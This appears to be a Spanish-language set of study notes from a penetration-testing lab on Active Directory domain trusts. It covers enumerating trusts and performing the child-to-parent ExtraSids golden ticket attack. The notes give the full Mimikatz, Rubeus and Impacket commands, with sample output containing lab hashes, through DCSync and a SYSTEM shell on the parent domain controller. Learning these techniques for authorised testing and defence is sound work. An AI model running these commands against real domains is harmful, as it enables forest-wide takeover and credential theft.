8. Domain Trusts Primer
¿Qué es un Domain Trust?
Un trust es un enlace entre los sistemas de autenticación de dos dominios. Permite que usuarios de un dominio accedan a recursos en otro dominio fuera del suyo. Se usan principalmente en fusiones de empresas, adquisiciones, o para separar unidades de negocio.
El problema desde el punto de vista ofensivo es que los trusts mal configurados o bidireccionales entre dominios con diferente nivel de seguridad crean rutas de ataque no intencionadas. Es común hacer Kerberoasting contra un dominio secundario y obtener credenciales de un usuario con acceso administrativo en el dominio principal. Si el dominio principal está bien defendido pero el dominio adquirido no, ese se convierte en el punto de entrada.
Tipos de Trust
Parent-child es el trust entre un dominio raíz y sus dominios hijo dentro del mismo bosque. Es bidireccional y transitivo por defecto. Un ejemplo sería
INLANEFREIGHT.LOCALconLOGISTICS.INLANEFREIGHT.LOCAL.Cross-link es un trust directo entre dominios hijo para acelerar la autenticación sin tener que subir hasta el dominio raíz.
External es un trust no transitivo entre dos dominios en bosques separados que no tienen un forest trust. Usa SID filtering para filtrar solicitudes de autenticación que no vengan del dominio confiado.
Tree-root es el trust bidireccional y transitivo que se crea automáticamente cuando se agrega un nuevo árbol raíz dentro de un bosque existente.
Forest es un trust transitivo entre dos dominios raíz de bosques distintos. Si existe un forest trust bidireccional entre dos organizaciones, un usuario comprometido en cualquiera de los dos puede ser usado para atacar el otro.
ESAE es un bosque bastión usado para administrar Active Directory de forma aislada.
Un trust transitivo extiende la confianza en cadena: si A confía en B y B confía en C de forma transitiva, A también confía en C automáticamente. Un trust no transitivo limita la confianza solo al dominio directamente especificado.
Enumeración de Trusts
Con módulo nativo de Active Directory (Get-ADTrust)
Import-Module activedirectory
Get-ADTrust -Filter *Devuelve todos los trusts del dominio actual. Los campos más importantes son Direction (dirección del trust), ForestTransitive (si es true es un forest trust o external), IntraForest (si es true es un trust interno del mismo bosque, como parent-child), y SIDFilteringQuarantined (si está en false, el SID filtering no está activo, lo que puede abrir vectores de ataque).
Con PowerView (Get-DomainTrust)
Get-DomainTrustDevuelve una vista más limpia con TrustAttributes que indica si el trust es WITHIN_FOREST (interno) o FOREST_TRANSITIVE (entre bosques), y TrustDirection que indica si es Bidirectional o unidireccional.
Mapear todos los trusts del entorno (incluyendo los de dominios conectados)
Get-DomainTrustMappingA diferencia de Get-DomainTrust, este comando intenta mapear los trusts desde todos los dominios que puede alcanzar, no solo el dominio actual. Útil para obtener una visión completa del entorno cuando hay múltiples dominios conectados.
Enumerar usuarios de un dominio hijo o externo
Get-DomainUser -Domain LOGISTICS.INLANEFREIGHT.LOCAL | select SamAccountNameUna vez identificado un trust, se puede apuntar cualquier función de PowerView a ese dominio usando el flag -Domain. Esto permite enumerar usuarios, grupos, computadoras, y ACLs del dominio remoto directamente desde tu sesión actual.
Con netdom (herramienta nativa de Windows)
# Ver los trusts del dominio
netdom query /domain:inlanefreight.local trust
# Ver los Domain Controllers del dominio
netdom query /domain:inlanefreight.local dc
# Ver workstations y servidores del dominio
netdom query /domain:inlanefreight.local workstationnetdom es una herramienta nativa que no requiere importar nada. Es útil cuando no puedes cargar PowerView o el módulo de AD. El subcomando query con distintos parámetros devuelve información básica sobre la estructura del dominio.
Con BloodHound
En BloodHound usar la query pre-construida Map Domain Trusts para visualizar gráficamente todos los trusts del entorno. Permite ver de un vistazo si los trusts son bidireccionales y qué dominios están conectados, lo que ayuda a planificar ataques laterales entre dominios.
Qué buscar al enumerar trusts
Bidireccional entre dominios con distinto nivel de seguridad es el escenario más valioso. Si el dominio secundario o el dominio de un socio está menos protegido, puede ser el punto de entrada hacia el dominio principal.
SIDFilteringQuarantined: False en un external trust indica que el SID filtering no está activo. Esto puede permitir ataques de SID History injection donde se abusa del atributo SIDHistory para que un usuario de un dominio sea tratado como miembro de un grupo privilegiado en el dominio confiado.
TGTDelegation: True en un forest trust significa que los TGTs pueden ser delegados a través del trust, lo que habilita ataques que requieren tickets que crucen el límite del bosque.
ForestTransitive: True combinado con Bidirectional y sin SID filtering es el escenario de mayor riesgo porque el trust se extiende transitivamente a todos los dominios del bosque remoto.
Attacking Domain Trusts — Child → Parent (desde Windows)
Concepto: ExtraSids Attack
Cuando se compromete un dominio hijo, se puede usar el atributo sidHistory para escalar al dominio padre sin ser miembro real de ningún grupo privilegiado en él.
El atributo sidHistory existe para migraciones: cuando un usuario se mueve de un dominio a otro, su SID original se guarda en sidHistory del nuevo usuario, así sigue accediendo a recursos del dominio original. Dentro del mismo bosque AD, este atributo se respeta sin SID Filtering, lo que significa que si agregas el SID del grupo Enterprise Admins del dominio padre al sidHistory de una cuenta del dominio hijo, Windows tratará esa cuenta como miembro de Enterprise Admins al generar el token de acceso.
En la práctica esto se hace creando un Golden Ticket desde el dominio hijo con el SID de Enterprise Admins del dominio padre metido en el campo /sids. El resultado es un ticket que, al presentarse en el dominio padre, otorga privilegios de Enterprise Admin completos, dando acceso a todo el bosque.
Datos necesarios antes de lanzar el ataque
Antes de armar el Golden Ticket necesitas recolectar cinco piezas de información:
- El NT hash de la cuenta KRBTGT del dominio hijo
- El SID del dominio hijo
- El nombre de un usuario del dominio hijo (puede ser inventado, no necesita existir)
- El FQDN del dominio hijo
- El SID del grupo Enterprise Admins del dominio padre
Paso 1 — Obtener el NT hash de KRBTGT del dominio hijo con Mimikatz
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgtEn la salida busca Hash NTLM. También verás el SID de la cuenta KRBTGT, que tiene la forma S-1-5-21-XXXX-XXXX-XXXX-502. Los primeros tres bloques numéricos son el SID del dominio hijo (sin el -502 del final).
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9d765b482771505cbe97411065964d5f
ntlm- 0: 9d765b482771505cbe97411065964d5f
lm - 0: 69df324191d4a80f0ed100c10f20561ePaso 2 — Confirmar el SID del dominio hijo con PowerView
Get-DomainUser -Identity krbtgt -Properties objectsid
Get-DomainUser -Identity krbtgt | select name, objectsid, sidhistory, useraccountcontrol
Get-DomainSIDDevuelve el SID del dominio actual. Debe coincidir con lo que viste en la salida de Mimikatz.
Paso 3 — Obtener el SID del grupo Enterprise Admins del dominio padre
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsidEl grupo Enterprise Admins solo existe en el dominio raíz del bosque, no en dominios hijo. Por eso apuntas el comando al dominio padre con -Domain. El SID que buscas termina en -519.
Alternativa con cmdlets nativos:
Get-ADGroup -Identity "Enterprise Admins" -Server "INLANEFREIGHT.LOCAL"Ataque con Mimikatz
Crear el Golden Ticket y cargarlo en memoria directamente
mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /pttLos parámetros que importan:
/user:hacker es el nombre del usuario para el que se forge el ticket. Puede ser cualquier nombre, incluso uno que no exista en el dominio. Lo que importa es el SID, no el nombre.
/domain: es el FQDN del dominio hijo donde tienes el KRBTGT.
/sid: es el SID del dominio hijo.
/krbtgt: es el NT hash de la cuenta KRBTGT del dominio hijo. Con este hash se firma el ticket, por eso el KDC del dominio hijo lo acepta como válido.
/sids: este es el campo clave del ataque. Aquí metes el SID del grupo Enterprise Admins del dominio padre. Cuando el DC del dominio padre recibe el ticket y lo valida, ve ese SID en el campo ExtraSids del PAC y trata al portador del ticket como miembro de Enterprise Admins.
/ptt inyecta el ticket directamente en la sesión actual sin guardarlo a disco.
Verificar que el ticket está en memoria
klistConfirmar acceso al dominio padre
ls \\academy-ea-dc01.inlanefreight.local\c$Si ves el contenido del disco C del DC del dominio padre, el ataque funcionó.
Hacer DCSync contra el dominio padre con el ticket activo
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCALEl flag /domain: es necesario cuando el dominio objetivo no es el mismo que el de tu sesión actual. Mimikatz necesita saber a qué DC conectarse para la replicación.
Ataque con Rubeus
Rubeus es una alternativa a Mimikatz para crear el Golden Ticket. Produce el mismo resultado.
Crear el Golden Ticket e inyectarlo en memoria
.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /pttLa diferencia con Mimikatz es que Rubeus usa /rc4: en lugar de /krbtgt: para el hash, pero el concepto es idéntico. El flag /ptt hace lo mismo que en Mimikatz, inyecta el ticket directamente en la sesión.
Rubeus también muestra el ticket en base64 en la salida por si quieres guardarlo y usarlo desde otra sesión con Rubeus.exe ptt /ticket:<base64>.
Verificar el ticket con klist
klistDCSync contra el dominio padre (igual que con Mimikatz)
mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCALFlujo completo resumido
1. DCSync KRBTGT del dominio hijo → obtener NT hash
2. Get-DomainSID → SID del dominio hijo
3. Get-DomainGroup Enterprise Admins → SID del grupo en dominio padre
4. Crear Golden Ticket con /sids → ExtraSids con SID de Enterprise Admins
5. /ptt → ticket en memoria
6. ls \\DC-padre\c$ → confirmar acceso
7. lsadump::dcsync /domain:padre → dumpear credenciales del dominio padreAttacking Domain Trusts — Child → Parent (desde Linux)
Mismos datos necesarios que desde Windows
- NT hash de KRBTGT del dominio hijo
- SID del dominio hijo
- Nombre de usuario (puede ser inventado)
- FQDN del dominio hijo
- SID del grupo Enterprise Admins del dominio padre
Paso 1 — DCSync del KRBTGT del dominio hijo con secretsdump.py
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgtEl flag -just-dc-user limita el dump a solo esa cuenta, evitando volcar todo el NTDS. El hash que necesitas está en la columna final del formato usuario:RID:lmhash:nthash:::. En este caso el NT hash es 9d765b482771505cbe97411065964d5f.
Paso 2 — Obtener el SID del dominio hijo con lookupsid.py
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240La herramienta hace brute force de SIDs contra el DC del dominio hijo. En la salida verás la línea Domain SID is: S-1-5-21-XXXX-XXXX-XXXX que es el SID del dominio hijo. También lista todos los usuarios y grupos con sus RIDs, lo que te permite construir el SID completo de cualquier objeto sumándole el RID al SID del dominio.
Para filtrar solo el SID del dominio:
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"Paso 3 — Obtener el SID de Enterprise Admins del dominio padre
Apuntas el mismo comando pero ahora contra el DC del dominio padre (172.16.5.5) y filtras por Enterprise Admins:
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"impacket-lookupsid logistics.inlanefreight.local/htb-student_adm@172.16.5.5 2>/dev/null | grep -B12 "Enterprise Admins"
Password:
[*] Domain SID is: S-1-5-21-3842939050-3880317879-2865463114
498: INLANEFREIGHT\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: INLANEFREIGHT\administrator (SidTypeUser)
501: INLANEFREIGHT\guest (SidTypeUser)
502: INLANEFREIGHT\krbtgt (SidTypeUser)
512: INLANEFREIGHT\Domain Admins (SidTypeGroup)
513: INLANEFREIGHT\Domain Users (SidTypeGroup)
514: INLANEFREIGHT\Domain Guests (SidTypeGroup)
515: INLANEFREIGHT\Domain Computers (SidTypeGroup)
516: INLANEFREIGHT\Domain Controllers (SidTypeGroup)
517: INLANEFREIGHT\Cert Publishers (SidTypeAlias)
518: INLANEFREIGHT\Schema Admins (SidTypeGroup)
519: INLANEFREIGHT\Enterprise Admins (SidTypeGroup)El flag -B12 muestra las 12 líneas antes del match, lo que incluye el Domain SID del dominio padre en la salida. Enterprise Admins siempre tiene RID 519, así que el SID completo será <SID del dominio padre>-519.
Referencia de well-known SIDs: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers
Paso 4 — Crear el Golden Ticket con ticketer.py
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hackerLo que hace cada parámetro:
-nthash es el NT hash del KRBTGT del dominio hijo. Se usa para firmar el ticket, igual que en Mimikatz.
-domain es el FQDN del dominio hijo del que proviene el ticket.
-domain-sid es el SID del dominio hijo.
-extra-sid es el SID del grupo Enterprise Admins del dominio padre. Este es el campo ExtraSids del PAC que engaña al DC del dominio padre para tratarte como Enterprise Admin.
hacker al final es el nombre de usuario para el ticket. Puede ser cualquier nombre, no necesita existir.
El ticket se guarda como hacker.ccache en el directorio actual.
Paso 5 — Configurar la variable de entorno para usar el ticket
export KRB5CCNAME=hacker.ccacheEsto le dice a todas las herramientas de Impacket que usen ese archivo ccache para autenticación Kerberos en los comandos siguientes.
Paso 6 — Obtener shell SYSTEM en el DC del dominio padre con psexec.py
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5-k indica que use autenticación Kerberos con el ccache configurado en la variable de entorno.
-no-pass porque no tienes contraseña, el ticket en memoria es tu credencial.
-target-ip apunta al DC del dominio padre. Aunque el usuario es del dominio hijo, el ticket con el ExtraSid de Enterprise Admins te da acceso completo al DC del padre.
Si el ataque funcionó, caes en una shell como NT AUTHORITY\SYSTEM en el DC del dominio padre.
Alternativa automatizada — raiseChild.py
Si quieres hacer todo el proceso en un solo comando, Impacket incluye raiseChild.py que automatiza los pasos 1 al 6 completos:
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_admLo que hace internamente en orden:
- Localiza el DC del dominio hijo via MS-NRPC
- Descubre el FQDN del bosque via MS-NRPC
- Obtiene el SID de Enterprise Admins del dominio padre via MS-LSAT
- Hace DCSync del KRBTGT del dominio hijo via MS-DRSR
- Crea el Golden Ticket con el ExtraSid de Enterprise Admins
- Se autentica al dominio padre con el ticket
- Obtiene las credenciales del Administrator del dominio padre
- Si se especificó
-target-exec, lanza una shell via PSExec en el DC del padre
-target-exec especifica la IP del DC del dominio padre donde quieres la shell.
El script es útil para ahorrar tiempo pero entender el proceso manual es importante para diagnosticar fallos y para no romper nada en producción. Las herramientas de autopwn son convenientes pero si algo falla no sabrás por qué si no conoces cada paso.
Ejecutado desde linux veremos un output como este:
$raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
Password:
.
.
.
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
.....
.....
C:\Windows\system32>y teniendo esto podemos realizar un DCSync:
$secretsdump.py "INLANEFREIGHT.LOCAL/administrator"@172.16.5.5 -hashes aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf
.
.Flujo completo resumido
1. secretsdump.py -just-dc-user KRBTGT → NT hash del KRBTGT del hijo
2. lookupsid.py @DC-hijo | grep Domain SID → SID del dominio hijo
3. lookupsid.py @DC-padre | grep -B12 Enterprise Admins → SID Enterprise Admins
4. ticketer.py -nthash -domain-sid -extra-sid hacker → Golden Ticket en hacker.ccache
5. export KRB5CCNAME=hacker.ccache
6. psexec.py -k -no-pass -target-ip DC-padre → shell SYSTEM en DC del padre
Alternativa todo en uno:
raiseChild.py -target-exec <IP DC padre> <dominio hijo>/<usuario admin>